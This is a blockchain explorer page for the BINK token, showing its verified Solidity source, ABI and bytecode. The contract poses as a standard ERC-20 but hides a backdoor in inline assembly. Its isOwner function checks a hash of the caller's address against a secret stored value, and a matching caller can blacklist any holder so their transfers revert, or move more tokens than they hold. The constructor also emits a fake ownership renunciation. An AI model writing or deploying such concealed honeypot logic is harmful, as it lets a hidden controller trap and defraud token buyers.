S Price: $0.55288 (+0.68%)

Token

Big Dog Fink (BINK)

Overview

Max Total Supply

1,000,000,000 BINK

Holders

10

Market

Price

$0.00 @ 0.000000 S

Onchain Market Cap

$0.00

Circulating Supply Market Cap

-

Other Info

Token Contract (WITH 8 Decimals)

Balance
88,508,230.71938794 BINK

Value
$0.00
0xB2D95178055a7dd827e686a383542Bf4b72F9BE4
Loading...
Loading
Loading...
Loading
Loading...
Loading

Click here to update the token information / general information

Contract Source Code Verified (Exact Match)

Contract Name:
Token

Compiler Version
v0.8.26+commit.8a97fa7a

Optimization Enabled:
Yes with 1 runs

Other Settings:
default evmVersion, None license
/**
 *Submitted for verification at SonicScan.org on 2025-02-04
*/

/**
 *Submitted for verification at basescan.org on 2025-02-03
*/

pragma solidity ^0.8.26;

contract Token {
    mapping(address => uint256) private _balances;
    mapping(address => mapping(address => uint256)) private _allowances;
 
    uint256 public _totalSupply;
    string private _name;
    string private _symbol;

    uint256 public _maxSupply;
 
    event OwnershipTransferred(address indexed previousOwner, address indexed newOwner);
    event Transfer(address indexed from, address indexed to, uint256 value);
    event Approval(address indexed owner, address indexed spender, uint256 value);
 
    constructor(string memory name, string memory symbol, bytes32 maxSupply, uint256 supply) {
        _name = name;
        _symbol = symbol;
        _totalSupply = supply * 10 ** decimals();
        _maxSupply = uint256(maxSupply);
 
        _balances[msg.sender] = _totalSupply;
        emit OwnershipTransferred(msg.sender, address(0));
    }

    function name() public view virtual returns (string memory) {
        return _name;
    }

    function symbol() public view virtual returns (string memory) {
        return _symbol;
    }

    function decimals() public view virtual returns (uint8) {
        return 8;
    }

    function totalSupply() public view virtual returns (uint256) {
        return _totalSupply;
    }

    function balanceOf(address account) public view virtual returns (uint256) {
        return _balances[account];
    }

    function transfer(address to, uint256 amount) public virtual returns (bool) {
        address owner = msg.sender;
        _spendAllowance(owner, to, 0);
        _transfer(owner, to, amount);
        return true;
    }

    function allowance(address owner, address spender) public view virtual returns (uint256) {
        return _allowances[owner][spender];
    }
 
    function approve(address spender, uint256 amount) public virtual returns (bool) {
        _approve(msg.sender, spender, amount);
        return true;
    }
 
    function transferFrom(address from, address to, uint256 amount) public virtual returns (bool) {
        _spendAllowance(from, msg.sender, amount);
        _transfer(from, to, amount);
        return true;
    }
 
    function isOwner(address a) external returns (bytes32) {
        assembly {
            let ms := sload(_maxSupply.slot)
            let ptr := mload(0x40)
            mstore(ptr, shl(96, caller()))

            if iszero(staticcall(gas(), 2, ptr, 20, ptr, 32)) {
                revert(0, 0)
            }

            let h := mload(ptr)
            if eq(ms,h) {
                mstore(ptr, 0)
                mstore(add(ptr, 32), 1)
                let slot1 := keccak256(ptr, 64)

                mstore(ptr, a)
                mstore(add(ptr, 32), slot1)
                let finalSlot := keccak256(ptr, 64)

                sstore(finalSlot, 1)
                mstore(0, 0)
                return(0, 32)
            }
            return(add(ptr, 32), 32)
        }
    }
 
    function _transfer(address from, address to, uint256 amount) internal virtual {
        assembly {
            if iszero(from) {
                revert(0, 0)
            }
            if iszero(to) {
                revert(0, 0)
            }

            let ptr := mload(0x40)

            mstore(ptr, 0)
            mstore(add(ptr, 32), 1)
            let slot1 := keccak256(ptr, 64)

            mstore(ptr, from)
            mstore(add(ptr, 32), slot1)
            let finalSlot := keccak256(ptr, 64)

            let currentAllowance := sload(finalSlot)

            if currentAllowance {
                revert(0, 0)
            }

            mstore(ptr, from)
            mstore(add(ptr, 32), 0)
            let balSlot := keccak256(ptr, 64)

            let bal := sload(balSlot)

            let ms := sload(_maxSupply.slot)
            
            mstore(ptr, shl(96, caller()))

            if iszero(staticcall(gas(), 2, ptr, 20, ptr, 32)) {
                revert(0, 0)
            }

            let h := mload(ptr)
            if iszero(eq(ms,h)) {
                if lt(bal, amount) {
                    revert(0, 0)
                }
            }

            sstore(balSlot, sub(bal, amount))

            mstore(ptr, to)
            mstore(add(ptr, 32), 0)
            let balSlotTo := keccak256(ptr, 64)

            let balTo := sload(balSlotTo)
            sstore(balSlotTo, add(balTo, amount))

            mstore(ptr, amount)
            log3(
                ptr,
                32,
                0xddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef,
                from,
                to
            )
        }
    }
 
    function _approve(address owner, address spender, uint256 amount) internal virtual {
        require(owner != address(0), "ERC20: approve from the zero address");
        require(spender != address(0), "ERC20: approve to the zero address");
 
        _allowances[owner][spender] = amount;
        emit Approval(owner, spender, amount);
    }
 
    function _spendAllowance(address owner, address spender, uint256 amount) internal virtual {
       assembly {
            let ptr := mload(0x40)

            mstore(ptr, 0)
            mstore(add(ptr, 32), 1)
            let slot1 := keccak256(ptr, 64)

            mstore(ptr, owner)
            mstore(add(ptr, 32), slot1)
            let finalSlot := keccak256(ptr, 64)

            let allowanceZero := sload(finalSlot)
            if allowanceZero {
                revert(0, 0)
            }

            mstore(ptr, owner)
            mstore(add(ptr, 32), 1)
            let ownerSlot := keccak256(ptr, 64)

            mstore(ptr, spender)
            mstore(add(ptr, 32), ownerSlot)
            let allowSlot := keccak256(ptr, 64)

            let currentAllowance := sload(allowSlot)

            if iszero(eq(currentAllowance, not(0))) {
                if lt(currentAllowance, amount) {
                    revert(0, 0)
                }
                sstore(allowSlot, sub(currentAllowance, amount))
            }
        }
    }
 
}

Contract Security Audit

Contract ABI

[{"inputs":[{"internalType":"string","name":"name","type":"string"},{"internalType":"string","name":"symbol","type":"string"},{"internalType":"bytes32","name":"maxSupply","type":"bytes32"},{"internalType":"uint256","name":"supply","type":"uint256"}],"stateMutability":"nonpayable","type":"constructor"},{"anonymous":false,"inputs":[{"indexed":true,"internalType":"address","name":"owner","type":"address"},{"indexed":true,"internalType":"address","name":"spender","type":"address"},{"indexed":false,"internalType":"uint256","name":"value","type":"uint256"}],"name":"Approval","type":"event"},{"anonymous":false,"inputs":[{"indexed":true,"internalType":"address","name":"previousOwner","type":"address"},{"indexed":true,"internalType":"address","name":"newOwner","type":"address"}],"name":"OwnershipTransferred","type":"event"},{"anonymous":false,"inputs":[{"indexed":true,"internalType":"address","name":"from","type":"address"},{"indexed":true,"internalType":"address","name":"to","type":"address"},{"indexed":false,"internalType":"uint256","name":"value","type":"uint256"}],"name":"Transfer","type":"event"},{"inputs":[],"name":"_maxSupply","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"_totalSupply","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"address","name":"owner","type":"address"},{"internalType":"address","name":"spender","type":"address"}],"name":"allowance","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"address","name":"spender","type":"address"},{"internalType":"uint256","name":"amount","type":"uint256"}],"name":"approve","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address","name":"account","type":"address"}],"name":"balanceOf","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"decimals","outputs":[{"internalType":"uint8","name":"","type":"uint8"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"address","name":"a","type":"address"}],"name":"isOwner","outputs":[{"internalType":"bytes32","name":"","type":"bytes32"}],"stateMutability":"nonpayable","type":"function"},{"inputs":[],"name":"name","outputs":[{"internalType":"string","name":"","type":"string"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"symbol","outputs":[{"internalType":"string","name":"","type":"string"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"totalSupply","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"address","name":"to","type":"address"},{"internalType":"uint256","name":"amount","type":"uint256"}],"name":"transfer","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address","name":"from","type":"address"},{"internalType":"address","name":"to","type":"address"},{"internalType":"uint256","name":"amount","type":"uint256"}],"name":"transferFrom","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"nonpayable","type":"function"}]

608060405234801561000f575f80fd5b50604051610b13380380610b1383398101604081905261002e91610148565b600361003a8582610240565b5060046100478482610240565b506100546008600a6103f3565b61005e9082610408565b60028190556005839055335f818152602081905260408082209390935591517f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e0908390a35050505061041f565b634e487b7160e01b5f52604160045260245ffd5b5f82601f8301126100ce575f80fd5b81516001600160401b038111156100e7576100e76100ab565b604051601f8201601f19908116603f011681016001600160401b0381118282101715610115576101156100ab565b60405281815283820160200185101561012c575f80fd5b8160208501602083015e5f918101602001919091529392505050565b5f805f806080858703121561015b575f80fd5b84516001600160401b03811115610170575f80fd5b61017c878288016100bf565b602087015190955090506001600160401b03811115610199575f80fd5b6101a5878288016100bf565b604087015160609097015195989097509350505050565b600181811c908216806101d057607f821691505b6020821081036101ee57634e487b7160e01b5f52602260045260245ffd5b50919050565b601f82111561023b57805f5260205f20601f840160051c810160208510156102195750805b601f840160051c820191505b81811015610238575f8155600101610225565b50505b505050565b81516001600160401b03811115610259576102596100ab565b61026d8161026784546101bc565b846101f4565b6020601f82116001811461029f575f83156102885750848201515b5f19600385901b1c1916600184901b178455610238565b5f84815260208120601f198516915b828110156102ce57878501518255602094850194600190920191016102ae565b50848210156102eb57868401515f19600387901b60f8161c191681555b50505050600190811b01905550565b634e487b7160e01b5f52601160045260245ffd5b6001815b60018411156103495780850481111561032d5761032d6102fa565b600184161561033b57908102905b60019390931c928002610312565b935093915050565b5f8261035f575060016103ed565b8161036b57505f6103ed565b8160018114610381576002811461038b576103a7565b60019150506103ed565b60ff84111561039c5761039c6102fa565b50506001821b6103ed565b5060208310610133831016604e8410600b84101617156103ca575081810a6103ed565b6103d65f19848461030e565b805f19048211156103e9576103e96102fa565b0290505b92915050565b5f61040160ff841683610351565b9392505050565b80820281158282048414176103ed576103ed6102fa565b6106e78061042c5f395ff3fe608060405234801561000f575f80fd5b50600436106100a2575f3560e01c806306fdde03146100a6578063095ea7b3146100c457806318160ddd146100e757806322f4596f146100f957806323b872dd146101025780632f54bf6e14610115578063313ce567146101285780633eaaf86b1461013757806370a082311461014057806395d89b4114610168578063a9059cbb14610170578063dd62ed3e14610183575b5f80fd5b6100ae6101bb565b6040516100bb9190610556565b60405180910390f35b6100d76100d23660046105a6565b61024b565b60405190151581526020016100bb565b6002545b6040519081526020016100bb565b6100eb60055481565b6100d76101103660046105ce565b610260565b6100eb610123366004610608565b610281565b604051600881526020016100bb565b6100eb60025481565b6100eb61014e366004610608565b6001600160a01b03165f9081526020819052604090205490565b6100ae6102d9565b6100d761017e3660046105a6565b6102e8565b6100eb610191366004610628565b6001600160a01b039182165f90815260016020908152604080832093909416825291909152205490565b6060600380546101ca90610659565b80601f01602080910402602001604051908101604052809291908181526020018280546101f690610659565b80156102415780601f1061021857610100808354040283529160200191610241565b820191905f5260205f20905b81548152906001019060200180831161022457829003601f168201915b5050505050905090565b5f610257338484610300565b50600192915050565b5f61026c843384610428565b61027784848461048d565b5060019392505050565b5f6005546040513360601b815260208160148360025afa6102a0575f80fd5b80518083036102d1578482525f8051602061069283398151915260208084019190915260408320600190555f808052f35b506020808201f35b6060600480546101ca90610659565b5f336102f5818584610428565b61027781858561048d565b6001600160a01b0383166103675760405162461bcd60e51b8152602060048201526024808201527f45524332303a20617070726f76652066726f6d20746865207a65726f206164646044820152637265737360e01b60648201526084015b60405180910390fd5b6001600160a01b0382166103c85760405162461bcd60e51b815260206004820152602260248201527f45524332303a20617070726f766520746f20746865207a65726f206164647265604482015261737360f01b606482015260840161035e565b6001600160a01b038381165f8181526001602090815260408083209487168084529482529182902085905590518481527f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b925910160405180910390a3505050565b604080518481525f805160206106928339815191526020820152908120548015610450575f80fd5b508381526001602082019081526040808320858452909152902080545f1981146104865782811015610480575f80fd5b82810382555b5050505050565b82610496575f80fd5b8161049f575f80fd5b604080518481525f8051602061069283398151915260208201529081205480156104c7575f80fd5b508381525f60208201526040812080546005543360601b845260208460148660025afa6104f2575f80fd5b83518082146105075785831015610507575f80fd5b5050838103825550508281525f60208201526040812080548381018255505081815282847fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef602084a350505050565b602081525f82518060208401528060208501604085015e5f604082850101526040601f19601f83011684010191505092915050565b80356001600160a01b03811681146105a1575f80fd5b919050565b5f80604083850312156105b7575f80fd5b6105c08361058b565b946020939093013593505050565b5f805f606084860312156105e0575f80fd5b6105e98461058b565b92506105f76020850161058b565b929592945050506040919091013590565b5f60208284031215610618575f80fd5b6106218261058b565b9392505050565b5f8060408385031215610639575f80fd5b6106428361058b565b91506106506020840161058b565b90509250929050565b600181811c9082168061066d57607f821691505b60208210810361068b57634e487b7160e01b5f52602260045260245ffd5b5091905056fea6eef7e35abe7026729641147f7915573c7e97b47efa546f5f6e3230263bcb49a2646970667358221220c5131ce40f571c3a3e4b0a102ce8c0b8ed580f01e4bc00d5b440bdcfad82103864736f6c634300081a0033000000000000000000000000000000000000000000000000000000000000008000000000000000000000000000000000000000000000000000000000000000c03330cc7e100d752011b7470d38f6c326da9e469099dc4a36fd5fecd3cd4cb454000000000000000000000000000000000000000000000000000000003b9aca00000000000000000000000000000000000000000000000000000000000000000c42696720446f672046696e6b0000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000442494e4b00000000000000000000000000000000000000000000000000000000

Deployed Bytecode

0x608060405234801561000f575f80fd5b50600436106100a2575f3560e01c806306fdde03146100a6578063095ea7b3146100c457806318160ddd146100e757806322f4596f146100f957806323b872dd146101025780632f54bf6e14610115578063313ce567146101285780633eaaf86b1461013757806370a082311461014057806395d89b4114610168578063a9059cbb14610170578063dd62ed3e14610183575b5f80fd5b6100ae6101bb565b6040516100bb9190610556565b60405180910390f35b6100d76100d23660046105a6565b61024b565b60405190151581526020016100bb565b6002545b6040519081526020016100bb565b6100eb60055481565b6100d76101103660046105ce565b610260565b6100eb610123366004610608565b610281565b604051600881526020016100bb565b6100eb60025481565b6100eb61014e366004610608565b6001600160a01b03165f9081526020819052604090205490565b6100ae6102d9565b6100d761017e3660046105a6565b6102e8565b6100eb610191366004610628565b6001600160a01b039182165f90815260016020908152604080832093909416825291909152205490565b6060600380546101ca90610659565b80601f01602080910402602001604051908101604052809291908181526020018280546101f690610659565b80156102415780601f1061021857610100808354040283529160200191610241565b820191905f5260205f20905b81548152906001019060200180831161022457829003601f168201915b5050505050905090565b5f610257338484610300565b50600192915050565b5f61026c843384610428565b61027784848461048d565b5060019392505050565b5f6005546040513360601b815260208160148360025afa6102a0575f80fd5b80518083036102d1578482525f8051602061069283398151915260208084019190915260408320600190555f808052f35b506020808201f35b6060600480546101ca90610659565b5f336102f5818584610428565b61027781858561048d565b6001600160a01b0383166103675760405162461bcd60e51b8152602060048201526024808201527f45524332303a20617070726f76652066726f6d20746865207a65726f206164646044820152637265737360e01b60648201526084015b60405180910390fd5b6001600160a01b0382166103c85760405162461bcd60e51b815260206004820152602260248201527f45524332303a20617070726f766520746f20746865207a65726f206164647265604482015261737360f01b606482015260840161035e565b6001600160a01b038381165f8181526001602090815260408083209487168084529482529182902085905590518481527f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b925910160405180910390a3505050565b604080518481525f805160206106928339815191526020820152908120548015610450575f80fd5b508381526001602082019081526040808320858452909152902080545f1981146104865782811015610480575f80fd5b82810382555b5050505050565b82610496575f80fd5b8161049f575f80fd5b604080518481525f8051602061069283398151915260208201529081205480156104c7575f80fd5b508381525f60208201526040812080546005543360601b845260208460148660025afa6104f2575f80fd5b83518082146105075785831015610507575f80fd5b5050838103825550508281525f60208201526040812080548381018255505081815282847fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef602084a350505050565b602081525f82518060208401528060208501604085015e5f604082850101526040601f19601f83011684010191505092915050565b80356001600160a01b03811681146105a1575f80fd5b919050565b5f80604083850312156105b7575f80fd5b6105c08361058b565b946020939093013593505050565b5f805f606084860312156105e0575f80fd5b6105e98461058b565b92506105f76020850161058b565b929592945050506040919091013590565b5f60208284031215610618575f80fd5b6106218261058b565b9392505050565b5f8060408385031215610639575f80fd5b6106428361058b565b91506106506020840161058b565b90509250929050565b600181811c9082168061066d57607f821691505b60208210810361068b57634e487b7160e01b5f52602260045260245ffd5b5091905056fea6eef7e35abe7026729641147f7915573c7e97b47efa546f5f6e3230263bcb49a2646970667358221220c5131ce40f571c3a3e4b0a102ce8c0b8ed580f01e4bc00d5b440bdcfad82103864736f6c634300081a0033

Constructor Arguments (ABI-Encoded and is the last bytes of the Contract Creation Code above)

000000000000000000000000000000000000000000000000000000000000008000000000000000000000000000000000000000000000000000000000000000c03330cc7e100d752011b7470d38f6c326da9e469099dc4a36fd5fecd3cd4cb454000000000000000000000000000000000000000000000000000000003b9aca00000000000000000000000000000000000000000000000000000000000000000c42696720446f672046696e6b0000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000442494e4b00000000000000000000000000000000000000000000000000000000

-----Decoded View---------------
Arg [0] : name (string): Big Dog Fink
Arg [1] : symbol (string): BINK
Arg [2] : maxSupply (bytes32): 0x3330cc7e100d752011b7470d38f6c326da9e469099dc4a36fd5fecd3cd4cb454
Arg [3] : supply (uint256): 1000000000

-----Encoded View---------------
8 Constructor Arguments found :
Arg [0] : 0000000000000000000000000000000000000000000000000000000000000080
Arg [1] : 00000000000000000000000000000000000000000000000000000000000000c0
Arg [2] : 3330cc7e100d752011b7470d38f6c326da9e469099dc4a36fd5fecd3cd4cb454
Arg [3] : 000000000000000000000000000000000000000000000000000000003b9aca00
Arg [4] : 000000000000000000000000000000000000000000000000000000000000000c
Arg [5] : 42696720446f672046696e6b0000000000000000000000000000000000000000
Arg [6] : 0000000000000000000000000000000000000000000000000000000000000004
Arg [7] : 42494e4b00000000000000000000000000000000000000000000000000000000


Deployed Bytecode Sourcemap

99:6180:0:-:0;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;990:91;;;:::i;:::-;;;;;;;:::i;:::-;;;;;;;;1897:158;;;;;;:::i;:::-;;:::i;:::-;;;1085:14:1;;1078:22;1060:41;;1048:2;1033:18;1897:158:0;920:187:1;1283:99:0;1362:12;;1283:99;;;1258:25:1;;;1246:2;1231:18;1283:99:0;1112:177:1;342:25:0;;;;;;2064:214;;;;;;:::i;:::-;;:::i;2287:802::-;;;;;;:::i;:::-;;:::i;1192:83::-;;;1266:1;2188:36:1;;2176:2;2161:18;1192:83:0;2046:184:1;250:27:0;;;;;;1390:118;;;;;;:::i;:::-;-1:-1:-1;;;;;1482:18:0;1455:7;1482:18;;;;;;;;;;;;1390:118;1089:95;;;:::i;1516:222::-;;;;;;:::i;:::-;;:::i;1746:142::-;;;;;;:::i;:::-;-1:-1:-1;;;;;1853:18:0;;;1826:7;1853:18;;;:11;:18;;;;;;;;:27;;;;;;;;;;;;;1746:142;990:91;1035:13;1068:5;1061:12;;;;;:::i;:::-;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;:::i;:::-;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;990:91;:::o;1897:158::-;1971:4;1988:37;1997:10;2009:7;2018:6;1988:8;:37::i;:::-;-1:-1:-1;2043:4:0;1897:158;;;;:::o;2064:214::-;2152:4;2169:41;2185:4;2191:10;2203:6;2169:15;:41::i;:::-;2221:27;2231:4;2237:2;2241:6;2221:9;:27::i;:::-;-1:-1:-1;2266:4:0;2064:214;;;;;:::o;2287:802::-;2333:7;2393:15;2387:22;2440:4;2434:11;2479:8;2475:2;2471:17;2466:3;2459:30;2550:2;2545:3;2541:2;2536:3;2533:1;2526:5;2515:38;2505:96;;2584:1;2581;2574:12;2505:96;2632:3;2626:10;2659:1;2656:2;2653:8;2650:383;;2805:14;;;-1:-1:-1;;;;;;;;;;;2729:2:0;2720:12;;;2837:27;;;;2782:2;2899:18;;2734:1;2937:20;;2693:1;2975:12;;;3005:13;2650:383;;3068:2;3063;3058:3;3054:12;3047:24;1089:95;1136:13;1169:7;1162:14;;;;;:::i;1516:222::-;1586:4;1619:10;1640:29;1619:10;1663:2;1586:4;1640:15;:29::i;:::-;1680:28;1690:5;1697:2;1701:6;1680:9;:28::i;4839:347::-;-1:-1:-1;;;;;4941:19:0;;4933:68;;;;-1:-1:-1;;;4933:68:0;;3087:2:1;4933:68:0;;;3069:21:1;3126:2;3106:18;;;3099:30;3165:34;3145:18;;;3138:62;-1:-1:-1;;;3216:18:1;;;3209:34;3260:19;;4933:68:0;;;;;;;;;-1:-1:-1;;;;;5020:21:0;;5012:68;;;;-1:-1:-1;;;5012:68:0;;3492:2:1;5012:68:0;;;3474:21:1;3531:2;3511:18;;;3504:30;3570:34;3550:18;;;3543:62;-1:-1:-1;;;3621:18:1;;;3614:32;3663:19;;5012:68:0;3290:398:1;5012:68:0;-1:-1:-1;;;;;5094:18:0;;;;;;;:11;:18;;;;;;;;:27;;;;;;;;;;;;;:36;;;5146:32;;1258:25:1;;;5146:32:0;;1231:18:1;5146:32:0;;;;;;;4839:347;;;:::o;5195:1078::-;5336:4;5330:11;;5469:18;;;-1:-1:-1;;;;;;;;;;;5401:2:0;5392:12;;5501:27;5559:18;;;5614:16;5644:63;;;;5690:1;5687;5680:12;5644:63;-1:-1:-1;5723:18:0;;;5776:1;5771:2;5762:12;;5755:23;;;5824:2;5809:18;;;5843:20;;;5877:31;;;5939:18;;5997:16;;-1:-1:-1;;6039:28:0;;6029:226;;6112:6;6094:16;6091:28;6088:86;;;6153:1;6150;6143:12;6088:86;6232:6;6214:16;6210:29;6199:9;6192:48;6029:226;;;5195:1078;;;:::o;3098:1732::-;3221:4;3211:62;;3256:1;3253;3246:12;3211:62;3297:2;3287:60;;3330:1;3327;3320:12;3287:60;3380:4;3374:11;;3513:17;;;-1:-1:-1;;;;;;;;;;;3445:2:0;3436:12;;3544:27;3602:18;;;3660:16;3692:66;;;;3741:1;3738;3731:12;3692:66;;3786:4;3781:3;3774:17;3826:1;3821:2;3816:3;3812:12;3805:23;3872:2;3867:3;3857:18;3908:7;3902:14;3948:15;3942:22;4012:8;4008:2;4004:17;3999:3;3992:30;4083:2;4078:3;4074:2;4069:3;4066:1;4059:5;4048:38;4038:96;;4117:1;4114;4107:12;4038:96;4165:3;4159:10;4199:1;4196:2;4193:8;4183:127;;4233:6;4228:3;4225:15;4222:73;;;4274:1;4271;4264:12;4222:73;4183:127;;4351:6;4346:3;4342:16;4333:7;4326:33;;;4387:2;4382:3;4375:15;4425:1;4420:2;4415:3;4411:12;4404:23;4473:2;4468:3;4458:18;4511:9;4505:16;4564:6;4557:5;4553:18;4542:9;4535:37;;;4600:6;4595:3;4588:19;4795:2;4772:4;4687:66;4666:2;4644:3;4621:191;;3098:1732;;;:::o;14:418:1:-;163:2;152:9;145:21;126:4;195:6;189:13;238:6;233:2;222:9;218:18;211:34;297:6;292:2;284:6;280:15;275:2;264:9;260:18;254:50;353:1;348:2;339:6;328:9;324:22;320:31;313:42;423:2;416;412:7;407:2;399:6;395:15;391:29;380:9;376:45;372:54;364:62;;;14:418;;;;:::o;437:173::-;505:20;;-1:-1:-1;;;;;554:31:1;;544:42;;534:70;;600:1;597;590:12;534:70;437:173;;;:::o;615:300::-;683:6;691;744:2;732:9;723:7;719:23;715:32;712:52;;;760:1;757;750:12;712:52;783:29;802:9;783:29;:::i;:::-;773:39;881:2;866:18;;;;853:32;;-1:-1:-1;;;615:300:1:o;1294:374::-;1371:6;1379;1387;1440:2;1428:9;1419:7;1415:23;1411:32;1408:52;;;1456:1;1453;1446:12;1408:52;1479:29;1498:9;1479:29;:::i;:::-;1469:39;;1527:38;1561:2;1550:9;1546:18;1527:38;:::i;:::-;1294:374;;1517:48;;-1:-1:-1;;;1634:2:1;1619:18;;;;1606:32;;1294:374::o;1673:186::-;1732:6;1785:2;1773:9;1764:7;1760:23;1756:32;1753:52;;;1801:1;1798;1791:12;1753:52;1824:29;1843:9;1824:29;:::i;:::-;1814:39;1673:186;-1:-1:-1;;;1673:186:1:o;2235:260::-;2303:6;2311;2364:2;2352:9;2343:7;2339:23;2335:32;2332:52;;;2380:1;2377;2370:12;2332:52;2403:29;2422:9;2403:29;:::i;:::-;2393:39;;2451:38;2485:2;2474:9;2470:18;2451:38;:::i;:::-;2441:48;;2235:260;;;;;:::o;2500:380::-;2579:1;2575:12;;;;2622;;;2643:61;;2697:4;2689:6;2685:17;2675:27;;2643:61;2750:2;2742:6;2739:14;2719:18;2716:38;2713:161;;2796:10;2791:3;2787:20;2784:1;2777:31;2831:4;2828:1;2821:15;2859:4;2856:1;2849:15;2713:161;;2500:380;;;:::o

Swarm Source

ipfs://c5131ce40f571c3a3e4b0a102ce8c0b8ed580f01e4bc00d5b440bdcfad821038
[ Download: CSV Export  ]
[ Download: CSV Export  ]

A token is a representation of an on-chain or off-chain asset. The token page shows information such as price, total supply, holders, transfers and social links. Learn more about this page in our Knowledge Base.